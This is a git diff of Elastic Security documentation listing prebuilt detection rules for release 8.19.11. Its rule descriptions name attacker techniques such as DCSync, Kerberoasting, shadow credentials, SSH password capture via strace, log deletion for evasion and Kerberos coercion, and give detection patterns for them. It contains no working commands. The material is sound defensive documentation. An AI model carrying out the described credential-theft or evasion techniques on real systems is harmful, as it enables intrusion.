+|<<prebuilt-rule-8-19-11-deprecated-aws-rds-instance-cluster-stoppage, Deprecated - AWS RDS Instance/Cluster Stoppage>> | Identifies that an Amazon Relational Database Service (RDS) cluster or instance has been stopped. | update | 210 
+
+|<<prebuilt-rule-8-19-11-aws-ec2-instance-console-login-via-assumed-role, AWS EC2 Instance Console Login via Assumed Role>> | Detects successful AWS Management Console or federation login activity performed using an EC2 instance’s assumed role credentials. EC2 instances typically use temporary credentials to make API calls, not to authenticate interactively via the console. A successful "ConsoleLogin" or "GetSigninToken" event using a session pattern that includes "i-" (the EC2 instance ID) is highly anomalous and may indicate that an adversary obtained the instance’s temporary credentials from the instance metadata service (IMDS) and used them to access the console. Such activity can enable lateral movement, privilege escalation, or persistence within the AWS account. | update | 5 
+
+|<<prebuilt-rule-8-19-11-aws-iam-virtual-mfa-device-registration-attempt-with-session-token, AWS IAM Virtual MFA Device Registration Attempt with Session Token>> | Detects attempts to create or enable a Virtual MFA device (CreateVirtualMFADevice, EnableMFADevice) using temporary AWS credentials (access keys beginning with ASIA). Session credentials are short-lived and tied to existing authenticated sessions, so using them to register or enable MFA devices is unusual. Adversaries who compromise temporary credentials may abuse this behavior to establish persistence by attaching new MFA devices to maintain access to high-privilege accounts despite key rotation or password resets. | update | 3 
+
+|<<prebuilt-rule-8-19-11-aws-iam-api-calls-via-temporary-session-tokens, AWS IAM API Calls via Temporary Session Tokens>> | Detects sensitive AWS IAM API operations executed using temporary session credentials (access key IDs beginning with "ASIA"). Temporary credentials are commonly issued through sts:GetSessionToken, sts:AssumeRole, or AWS SSO logins and are meant for short-term use. It is unusual for legitimate users or automated processes to perform privileged IAM actions (e.g., creating users, updating policies, or enabling/disabling MFA) with session tokens. This behavior may indicate credential theft, session hijacking, or the abuse of a privileged role’s temporary credentials. | update | 4 
+
+|<<prebuilt-rule-8-19-11-aws-iam-group-creation, AWS IAM Group Creation>> | Identifies the creation of a group in AWS Identity and Access Management (IAM). Groups specify permissions for multiple users. Any user in a group automatically has the permissions that are assigned to the group. Adversaries who obtain credentials with IAM write privileges may create a new group as a foothold for persistence: they can later attach admin-level policies to the group and quietly add users or roles to inherit those privileges. | update | 210 
+
+|<<prebuilt-rule-8-19-11-aws-iam-roles-anywhere-profile-creation, AWS IAM Roles Anywhere Profile Creation>> | Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations. | update | 6 
+
+|<<prebuilt-rule-8-19-11-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca, AWS IAM Roles Anywhere Trust Anchor Created with External CA>> | Detects the creation of an AWS IAM Roles Anywhere Trust Anchor that uses an external certificate authority (CA) rather than an AWS-managed Certificate Manager Private CA (ACM PCA). While Roles Anywhere enables secure, short-term credential issuance for workloads outside AWS, adversaries can exploit this feature by registering their own external CA as a trusted root. This allows them to generate valid client certificates that persistently authenticate to AWS roles from any location, even after key rotation or credential revocation events. This rule helps detect persistence or unauthorized federation attempts by flagging trust anchors configured with non-AWS CAs. | update | 6 
+
+|<<prebuilt-rule-8-19-11-deprecated-aws-rds-cluster-creation, Deprecated - AWS RDS Cluster Creation>> | Identifies the creation of a new Amazon Relational Database Service (RDS) Aurora DB cluster or global database spread across multiple regions. | update | 210 
+
+|<<prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-creation, Deprecated - AWS RDS Security Group Creation>> | Identifies the creation of an Amazon Relational Database Service (RDS) Security group. Modern RDS deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting RDS in VPC-based deployments. | update | 210 
+
+|<<prebuilt-rule-8-19-11-deprecated-aws-rds-instance-creation, Deprecated - AWS RDS Instance Creation>> | Identifies the creation of an Amazon Relational Database Service (RDS) Aurora database instance. | update | 210 
+
+|<<prebuilt-rule-8-19-11-aws-iam-saml-provider-updated, AWS IAM SAML Provider Updated>> | Detects when an AWS IAM SAML provider is updated, which manages federated authentication between AWS and external identity providers (IdPs). Adversaries with administrative access may modify a SAML provider’s metadata or certificate to redirect authentication flows, enable unauthorized federation, or escalate privileges through identity trust manipulation. Because SAML providers underpin single sign-on (SSO) access for users and applications, unauthorized modifications may allow persistent or covert access even after credentials are revoked. Monitoring  "UpdateSAMLProvider" API activity is critical to detect potential compromise of federated trust relationships. | update | 211 
+
+|<<prebuilt-rule-8-19-11-azure-diagnostic-settings-deletion, Azure Diagnostic Settings Deletion>> | Identifies the deletion of diagnostic settings in Azure, which send platform logs and metrics to different destinations. An adversary may delete diagnostic settings in an attempt to evade defenses. | update | 107 
+
+|<<prebuilt-rule-8-19-11-microsoft-365-global-administrator-role-assigned, Microsoft 365 Global Administrator Role Assigned>> | Identifies when the Microsoft 365 Global Administrator or Company Administrator role is assigned to a user or service principal. The Global Administrator role has extensive privileges across Entra ID and Microsoft 365 services, making it a high-value target for adversaries seeking persistent access. Successful assignments of this role may indicate potential privilege escalation or unauthorized access attempts, especially if performed by accounts that do not typically manage high-privilege roles. | update | 212 
+
+|<<prebuilt-rule-8-19-11-potential-ssh-password-grabbing-via-strace, Potential SSH Password Grabbing via strace>> | Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials. | update | 2 
+
+|<<prebuilt-rule-8-19-11-remote-file-creation-in-world-writeable-directory, Remote File Creation in World Writeable Directory>> | This rule detects the creation of a file in a world-writeable directory through a service that is commonly used for file transfer. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network. | update | 4 
+
+|<<prebuilt-rule-8-19-11-potential-execution-via-xzbackdoor, Potential Execution via XZBackdoor>> | It identifies potential malicious shell executions through remote SSH and detects cases where the sshd service suddenly terminates soon after successful execution, suggesting suspicious behavior similar to the XZ backdoor. | update | 9 
+
+|<<prebuilt-rule-8-19-11-connection-to-commonly-abused-web-services, Connection to Commonly Abused Web Services>> | Adversaries may implement command and control (C2) communications that use common web services to hide their activity. This attack technique is typically targeted at an organization and uses web services common to the victim network, which allows the adversary to blend into legitimate traffic activity. These popular services are typically targeted since they have most likely been used before compromise, which helps malicious traffic blend in. | update | 123 
+
+|<<prebuilt-rule-8-19-11-privileged-account-brute-force, Privileged Account Brute Force>> | Identifies multiple consecutive logon failures targeting an Admin account from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. | update | 115 
+
+|<<prebuilt-rule-8-19-11-multiple-logon-failure-followed-by-logon-success, Multiple Logon Failure Followed by Logon Success>> | Identifies multiple logon failures followed by a successful one from the same source address. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. | update | 116 
+
+|<<prebuilt-rule-8-19-11-multiple-logon-failure-from-the-same-source-address, Multiple Logon Failure from the same Source Address>> | Identifies multiple consecutive logon failures from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts. | update | 115 
+
+|<<prebuilt-rule-8-19-11-firsttime-seen-account-performing-dcsync, FirstTime Seen Account Performing DCSync>> | This rule identifies when a User Account starts the Active Directory Replication Process for the first time. Attackers can use the DCSync technique to get credential information of individual accounts or the entire domain, thus compromising the entire domain. | update | 118 
+
+|<<prebuilt-rule-8-19-11-potential-active-directory-replication-account-backdoor, Potential Active Directory Replication Account Backdoor>> | Identifies the modification of the nTSecurityDescriptor attribute in a domain object with rights related to DCSync to a user/computer account. Attackers can use this backdoor to re-obtain access to hashes of any user/computer. | update | 109 
+
+|<<prebuilt-rule-8-19-11-potential-kerberos-coercion-via-dns-based-spn-spoofing, Potential Kerberos Coercion via DNS-Based SPN Spoofing>> | Identifies the creation of a DNS record containing a base64-encoded blob matching the pattern "UWhRCA...BAAAA". This pattern corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure, commonly used in Kerberos coercion attacks. It is associated with tools and techniques that exploit SPN spoofing via DNS. Adversaries may abuse this to coerce victim systems into authenticating to attacker-controlled hosts while requesting Kerberos tickets for legitimate services (often the victim's own identity). This enables reflective Kerberos relay attacks, potentially resulting in privileged access such as NT AUTHORITY\SYSTEM, without relying on NTLM fallback. | update | 2 
+
+|<<prebuilt-rule-8-19-11-access-to-a-sensitive-ldap-attribute, Access to a Sensitive LDAP Attribute>> | Identify access to sensitive Active Directory object attributes that contains credentials and decryption keys such as unixUserPassword, ms-PKI-AccountCredentials and msPKI-CredentialRoamingTokens. | update | 117 
+
+|<<prebuilt-rule-8-19-11-potential-machine-account-relay-attack-via-smb, Potential Machine Account Relay Attack via SMB>> | Identifies potential relay attacks against a machine account by identifying network share access events coming from a remote source.ip but using the target server computer account. This may indicate a successful SMB relay attack. | update | 2 
+
+|<<prebuilt-rule-8-19-11-multiple-vault-web-credentials-read, Multiple Vault Web Credentials Read>> | Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for saved usernames and passwords. This may also be performed in preparation of lateral movement. | update | 116 
+
+|<<prebuilt-rule-8-19-11-sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user, Sensitive Privilege SeEnableDelegationPrivilege assigned to a User>> | Identifies the assignment of the SeEnableDelegationPrivilege sensitive "user right" to a user. The SeEnableDelegationPrivilege "user right" enables computer and user accounts to be trusted for delegation. Attackers can abuse this right to compromise Active Directory accounts and elevate their privileges. | update | 218 
+
+|<<prebuilt-rule-8-19-11-potential-shadow-credentials-added-to-ad-object, Potential Shadow Credentials added to AD Object>> | Identify the modification of the msDS-KeyCredentialLink attribute in an Active Directory Computer or User Object. Attackers can abuse control over the object and create a key pair, append to raw public key in the attribute, and obtain persistent and stealthy access to the target user or computer object. | update | 217 
+
+|<<prebuilt-rule-8-19-11-user-account-exposed-to-kerberoasting, User account exposed to Kerberoasting>> | Detects when a user account has the servicePrincipalName attribute modified. Attackers can abuse write privileges over a user to configure Service Principle Names (SPNs) so that they can perform Kerberoasting. Administrators can also configure this for legitimate purposes, exposing the account to Kerberoasting. | update | 219 
+
+|<<prebuilt-rule-8-19-11-suspicious-remote-registry-access-via-sebackupprivilege, Suspicious Remote Registry Access via SeBackupPrivilege>> | Identifies remote access to the registry using an account with Backup Operators group membership. This may indicate an attempt to exfiltrate credentials by dumping the Security Account Manager (SAM) registry hive in preparation for credential access and privileges elevation. | update | 216 
+
+|<<prebuilt-rule-8-19-11-suspicious-access-to-ldap-attributes, Suspicious Access to LDAP Attributes>> | Identify read access to a high number of Active Directory object attributes. The knowledge of objects properties can help adversaries find vulnerabilities, elevate privileges or collect sensitive information. | update | 108 
+
+|<<prebuilt-rule-8-19-11-outbound-scheduled-task-activity-via-powershell, Outbound Scheduled Task Activity via PowerShell>> | Identifies the PowerShell process loading the Task Scheduler COM DLL followed by an outbound RPC network connection within a short time period. This may indicate lateral movement or remote discovery via scheduled tasks. | update | 213 
+
+|<<prebuilt-rule-8-19-11-remote-windows-service-installed, Remote Windows Service Installed>> | Identifies a network logon followed by Windows service creation with same LogonId. This could be indicative of lateral movement, but will be noisy if commonly done by administrators." | update | 112 
+
+|<<prebuilt-rule-8-19-11-remote-scheduled-task-creation-via-rpc, Remote Scheduled Task Creation via RPC>> | Identifies scheduled task creation from a remote source. This could be indicative of adversary lateral movement. | update | 114 
+
+|<<prebuilt-rule-8-19-11-adminsdholder-backdoor, AdminSDHolder Backdoor>> | Detects modifications in the AdminSDHolder object. Attackers can abuse the SDProp process to implement a persistent backdoor in Active Directory. SDProp compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, regaining their Administrative Privileges. | update | 215 
+
+|<<prebuilt-rule-8-19-11-krbtgt-delegation-backdoor, KRBTGT Delegation Backdoor>> | Identifies the modification of the msDS-AllowedToDelegateTo attribute to KRBTGT. Attackers can use this technique to maintain persistence to the domain by having the ability to request tickets for the KRBTGT service. | update | 213 
+
+|<<prebuilt-rule-8-19-11-account-password-reset-remotely, Account Password Reset Remotely>> | Identifies an attempt to reset a potentially privileged account password remotely. Adversaries may manipulate account passwords to maintain access or evade password duration policies and preserve compromised credentials. | update | 221 
+
+|<<prebuilt-rule-8-19-11-a-scheduled-task-was-created, A scheduled task was created>> | Indicates the creation of a scheduled task using Windows event logs. Adversaries can use these to establish persistence, move laterally, and/or escalate privileges. | update | 114 
+
+|<<prebuilt-rule-8-19-11-unusual-scheduled-task-update, Unusual Scheduled Task Update>> | Identifies first-time modifications to scheduled tasks by user accounts, excluding system activity and machine accounts. | update | 116 
+
+|<<prebuilt-rule-8-19-11-adminsdholder-sdprop-exclusion-added, AdminSDHolder SDProp Exclusion Added>> | Identifies a modification on the dsHeuristics attribute on the bit that holds the configuration of groups excluded from the SDProp process. The SDProp compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, meaning that groups excluded will remain unchanged. Attackers can abuse this misconfiguration to maintain long-term access to privileged accounts in these groups. | update | 217 
+
+|<<prebuilt-rule-8-19-11-suspicious-service-was-installed-in-the-system, Suspicious Service was Installed in the System>> | Identifies the creation of a new Windows service with suspicious Service command values. Windows services typically run as SYSTEM and can be used for privilege escalation and persistence. | update | 115 
+
+|<<prebuilt-rule-8-19-11-suspicious-wmi-event-subscription-created, Suspicious WMI Event Subscription Created>> | Detects the creation of a WMI Event Subscription. Attackers can abuse this mechanism for persistence or to elevate to SYSTEM privileges. | update | 311 
+
+|<<prebuilt-rule-8-19-11-temporarily-scheduled-task-creation, Temporarily Scheduled Task Creation>> | Indicates the creation and deletion of a scheduled task within a short time interval. Adversaries can use these to proxy malicious execution via the schedule service and perform clean up. | update | 113 
+
+|<<prebuilt-rule-8-19-11-delegated-managed-service-account-modification-by-an-unusual-user, Delegated Managed Service Account Modification by an Unusual User>> | Detects modifications in the msDS-ManagedAccountPrecededByLink attribute of a delegated managed service account by an unusual subject account. Attackers can abuse this attribute to take over the permission of a target account and inherit it's permissions allowing them to further elevate privileges. | update | 2 
+
+|<<prebuilt-rule-8-19-11-process-creation-via-secondary-logon, Process Creation via Secondary Logon>> | Identifies process creation with alternate credentials. Adversaries may create a new process with a different token to escalate privileges and bypass access controls. | update | 115 
+
+|<<prebuilt-rule-8-19-11-modification-of-the-mspkiaccountcredentials, Modification of the msPKIAccountCredentials>> | Identify the modification of the msPKIAccountCredentials attribute in an Active Directory User Object. Attackers can abuse the credentials roaming feature to overwrite an arbitrary file for privilege escalation. ms-PKI-AccountCredentials contains binary large objects (BLOBs) of encrypted credential objects from the credential manager store, private keys, certificates, and certificate requests. | update | 118 
+
+|<<prebuilt-rule-8-19-11-dmsa-account-creation-by-an-unusual-user, dMSA Account Creation by an Unusual User>> | Detects the creation of a delegated Managed Service Account by an unusual subject account. Attackers can abuse the dMSA account migration feature to elevate privileges abusing weak persmission allowing users child objects rights or msDS-DelegatedManagedServiceAccount rights. | update | 2 
+
+|<<prebuilt-rule-8-19-11-service-creation-via-local-kerberos-authentication, Service Creation via Local Kerberos Authentication>> | Identifies a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, followed by a sevice creation from the same LogonId. This may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined user to local System privileges. | update | 212 
+
+|<<prebuilt-rule-8-19-11-potential-privileged-escalation-via-samaccountname-spoofing, Potential Privileged Escalation via SamAccountName Spoofing>> | Identifies a suspicious computer account name rename event, which may indicate an attempt to exploit CVE-2021-42278 to elevate privileges from a standard domain user to a user with domain admin privileges. CVE-2021-42278 is a security vulnerability that allows potential attackers to impersonate a domain controller via samAccountName attribute spoofing. | update | 214 
+
+|<<prebuilt-rule-8-19-11-remote-computer-account-dnshostname-update, Remote Computer Account DnsHostName Update>> | Identifies the remote update to a computer account's DnsHostName attribute. If the new value set is a valid domain controller DNS hostname and the subject computer name is not a domain controller, then it's highly likely a preparation step to exploit CVE-2022-26923 in an attempt to elevate privileges from a standard domain user to domain admin privileges. | update | 213 
+
+|<<prebuilt-rule-8-19-11-suspicious-seincreasebasepriorityprivilege-use, Suspicious SeIncreaseBasePriorityPrivilege Use>> | Identifies attempts to use the SeIncreaseBasePriorityPrivilege privilege by an unusual process. This could be related to hijack execution flow of a process via threats priority manipulation. | update | 2 
+
+|<<prebuilt-rule-8-19-11-deprecated-aws-root-login-without-mfa, Deprecated - AWS Root Login Without MFA>> | Identifies attempts to login to AWS as the root user without using multi-factor authentication (MFA). Amazon AWS best practices indicate that the root user should be protected by MFA. | deprecated | 213 
+
+|==============================================
diff --git a/docs/detections/prebuilt-rules/prebuilt-rules-downloadable-updates.asciidoc b/docs/detections/prebuilt-rules/prebuilt-rules-downloadable-updates.asciidoc
index a6b68ec999..06ee01f4e4 100644
--- a/docs/detections/prebuilt-rules/prebuilt-rules-downloadable-updates.asciidoc
+++ b/docs/detections/prebuilt-rules/prebuilt-rules-downloadable-updates.asciidoc
@@ -13,6 +13,10 @@ For previous rule updates, please navigate to the https://www.elastic.co/guide/e
 |Update version |Date | New rules | Updated rules | Notes
 
 
+|<<prebuilt-rule-8-19-11-prebuilt-rules-8-19-11-summary, 8.19.11>> | 25 Nov 2025 | 19 | 71 | 
+This release includes new rules for Windows, Linux, Azure, OKTA and MacOS. New rules for Windows include detection for defense evasion and command and control. New rules for Linux include detection for command and control, defense evasion, execution and initial access. New rules for Azure include detection for impact. New rules for OKTA include detection for credential access. New rules for MacOS include detection for command and control. Additionally, significant rule tuning for Windows, Linux, AWS, Microsoft 3 65and Azure rules has been added for better rule efficacy and performance.
+
+
 |<<prebuilt-rule-8-19-10-prebuilt-rules-8-19-10-summary, 8.19.10>> | 11 Nov 2025 | 6 | 48 | 
 This release includes new rules for Windows, AWS and Linux. New rules for Windows include detection for initial access and lateral movement. New rules for AWS include detection for exfiltration. New rules for Linux include detection for privilege escalation and credential access. Additionally, significant rule tuning for Windows, Linux, AWS, AWS Bedrock and Microsoft 365 rules has been added for better rule efficacy and performance.
 
@@ -63,3 +67,4 @@ include::downloadable-packages/8-19-7/prebuilt-rules-8-19-7-summary.asciidoc[lev
 include::downloadable-packages/8-19-8/prebuilt-rules-8-19-8-summary.asciidoc[leveloffset=+1]
 include::downloadable-packages/8-19-9/prebuilt-rules-8-19-9-summary.asciidoc[leveloffset=+1]
 include::downloadable-packages/8-19-10/prebuilt-rules-8-19-10-summary.asciidoc[leveloffset=+1]
+include::downloadable-packages/8-19-11/prebuilt-rules-8-19-11-summary.asciidoc[leveloffset=+1]
diff --git a/docs/detections/prebuilt-rules/prebuilt-rules-reference.asciidoc b/docs/detections/prebuilt-rules/prebuilt-rules-reference.asciidoc
index 53946d88b9..5c529666d3 100644
--- a/docs/detections/prebuilt-rules/prebuilt-rules-reference.asciidoc
+++ b/docs/detections/prebuilt-rules/prebuilt-rules-reference.asciidoc
@@ -14,7 +14,7 @@ and their rule type is `machine_learning`.
 |Rule |Description |Tags |Added |Version
 
 
-|<<a-scheduled-task-was-created, A scheduled task was created>> |Indicates the creation of a scheduled task using Windows event logs. Adversaries can use these to establish persistence, move laterally, and/or escalate privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |113
+|<<a-scheduled-task-was-created, A scheduled task was created>> |Indicates the creation of a scheduled task using Windows event logs. Adversaries can use these to establish persistence, move laterally, and/or escalate privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |114
 
 |<<apt-package-manager-configuration-file-creation, APT Package Manager Configuration File Creation>> |Detects file creation events in the configuration directory for the APT package manager. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on (by default) Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |7
 
@@ -34,21 +34,21 @@ and their rule type is `machine_learning`.
 
 |<<aws-cli-with-kali-linux-fingerprint-identified, AWS CLI with Kali Linux Fingerprint Identified>> |Identifies the usage of the AWS CLI with a user agent string containing `distrib#kali`, which suggests the request was made from a Kali Linux distribution. This may indicate offensive security tooling or unauthorized use of the AWS CLI from a potentially adversarial environment. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Tactic: Initial Access], [Use Case: Cloud Threat Detection], [Resources: Investigation Guide] |None |2
 
-|<<aws-cloudtrail-log-created, AWS CloudTrail Log Created>> |Identifies the creation of an AWS log trail that specifies the settings for delivery of log data. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Log Auditing], [Tactic: Collection], [Resources: Investigation Guide] |None |210
+|<<aws-cloudtrail-log-created, AWS CloudTrail Log Created>> |Detects creation of a new AWS CloudTrail trail via CreateTrail API. While legitimate during onboarding or auditing improvements, adversaries can create trails that write to attacker-controlled destinations, limit regions, or otherwise subvert monitoring objectives. New trails should be validated for destination ownership, encryption, multi-region coverage, and organizational scope. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Cloudtrail], [Use Case: Log Auditing], [Tactic: Collection], [Resources: Investigation Guide] |None |211
 
-|<<aws-cloudtrail-log-deleted, AWS CloudTrail Log Deleted>> |Identifies the deletion of an AWS log trail. An adversary may delete trails in an attempt to evade defenses. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |212
+|<<aws-cloudtrail-log-deleted, AWS CloudTrail Log Deleted>> |Detects deletion of an AWS CloudTrail trail via DeleteTrail API. Removing trails is a high-risk action that destroys an audit control plane and is frequently paired with other destructive or stealthy operations. Validate immediately and restore compliant logging. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Cloudtrail], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |213
 
 |<<aws-cloudtrail-log-evasion, AWS CloudTrail Log Evasion>> |Identifies the evasion of cloudtrail logging for IAM actions involving policy creation, modification or attachment. When making certain policy-related API calls, an adversary may pad the associated policy document with whitespaces to trigger CloudTrail’s logging size constraints, resulting in incomplete logging where critical details about the policy are omitted. By exploiting this gap, threat actors can bypass monitoring performed through CloudTrail and can effectively obscure unauthorized changes. This rule looks for IAM API calls with the requestParameters property containing reason:”requestParameters too large” and omitted:true. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |1
 
-|<<aws-cloudtrail-log-suspended, AWS CloudTrail Log Suspended>> |Identifies suspending the recording of AWS API calls and log file delivery for the specified trail. An adversary may suspend trails in an attempt to evade defenses. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |211
+|<<aws-cloudtrail-log-suspended, AWS CloudTrail Log Suspended>> |Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Cloudtrail], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |212
 
-|<<aws-cloudtrail-log-updated, AWS CloudTrail Log Updated>> |Identifies an update to an AWS log trail setting that specifies the delivery of log files. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Cloudtrail], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Impact] |None |211
+|<<aws-cloudtrail-log-updated, AWS CloudTrail Log Updated>> |Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Cloudtrail], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Impact] |None |212
 
-|<<aws-cloudwatch-alarm-deletion, AWS CloudWatch Alarm Deletion>> |Identifies the deletion of an AWS CloudWatch alarm. An adversary may delete alarms in an attempt to evade defenses. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |211
+|<<aws-cloudwatch-alarm-deletion, AWS CloudWatch Alarm Deletion>> |Detects the deletion of one or more Amazon CloudWatch alarms using the "DeleteAlarms" API. CloudWatch alarms are critical for monitoring metrics and triggering alerts when thresholds are exceeded. An adversary may delete alarms to impair visibility, silence alerts, and evade detection following malicious activity. This behavior may occur during post-exploitation or cleanup phases to remove traces of compromise or disable automated responses. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon CloudWatch], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |212
 
-|<<aws-cloudwatch-log-group-deletion, AWS CloudWatch Log Group Deletion>> |Identifies the deletion of a specified AWS CloudWatch log group. When a log group is deleted, all the archived log events associated with the log group are also permanently deleted. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudWatch], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Impact] |None |211
+|<<aws-cloudwatch-log-group-deletion, AWS CloudWatch Log Group Deletion>> |Detects the deletion of an Amazon CloudWatch Log Group using the "DeleteLogGroup" API. CloudWatch log groups store operational and security logs for AWS services and custom applications. Deleting a log group permanently removes all associated log streams and historical log data, which can eliminate forensic evidence and disrupt security monitoring pipelines. Adversaries may delete log groups to conceal malicious activity, disable log forwarding, or impede incident response. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon CloudWatch], [Use Case: Log Auditing], [Resources: Investigation Guide], [Tactic: Defense Evasion], [Tactic: Impact] |None |212
 
-|<<aws-cloudwatch-log-stream-deletion, AWS CloudWatch Log Stream Deletion>> |Identifies the deletion of an AWS CloudWatch log stream, which permanently deletes all associated archived log events with the stream. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudWatch], [Use Case: Log Auditing], [Tactic: Impact], [Resources: Investigation Guide] |None |211
+|<<aws-cloudwatch-log-stream-deletion, AWS CloudWatch Log Stream Deletion>> |Detects the deletion of an Amazon CloudWatch log stream using the "DeleteLogStream" API. Deleting a log stream permanently removes its associated log events and may disrupt security visibility, break audit trails, or suppress forensic evidence. Adversaries may delete log streams to conceal malicious actions, impair monitoring pipelines, or remove artifacts generated during post-exploitation activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon CloudWatch], [Use Case: Log Auditing], [Tactic: Defense Evasion], [Tactic: Impact], [Resources: Investigation Guide] |None |212
 
 |<<aws-config-resource-deletion, AWS Config Resource Deletion>> |Identifies attempts to delete an AWS Config Service resource. An adversary may tamper with Config services in order to reduce visibility into the security posture of an account and / or its workload instances. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |211
 
@@ -80,7 +80,7 @@ and their rule type is `machine_learning`.
 
 |<<aws-ec2-instance-connect-ssh-public-key-uploaded, AWS EC2 Instance Connect SSH Public Key Uploaded>> |Identifies when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. This action could indicate an adversary attempting to maintain access to the instance. The rule detects the SendSerialConsoleSSHPublicKey or SendSSHPublicKey API actions, which are logged when manually uploading an SSH key to an EC2 instance or serial connection. It is important to know that this API call happens automatically by the EC2 Instance Connect service when a user connects to an EC2 instance using the EC2 Instance Connect service via the CLI or AWS Management Console. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |6
 
-|<<aws-ec2-instance-console-login-via-assumed-role, AWS EC2 Instance Console Login via Assumed Role>> |Identifies a successful console login activity by an EC2 instance profile using an assumed role. This is uncommon behavior and could indicate an attacker using compromised credentials to further exploit an environment. An EC2 instance assumes a role using their EC2 ID as the session name. This rule looks for the pattern "i-" which is the beginning pattern for assumed role sessions started by an EC2 instance and a successful `ConsoleLogin` or `GetSigninToken` API call. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS EC2], [Data Source: AWS STS], [Use Case: Identity and Access Audit], [Tactic: Lateral Movement], [Tactic: Credential Access], [Resources: Investigation Guide] |None |4
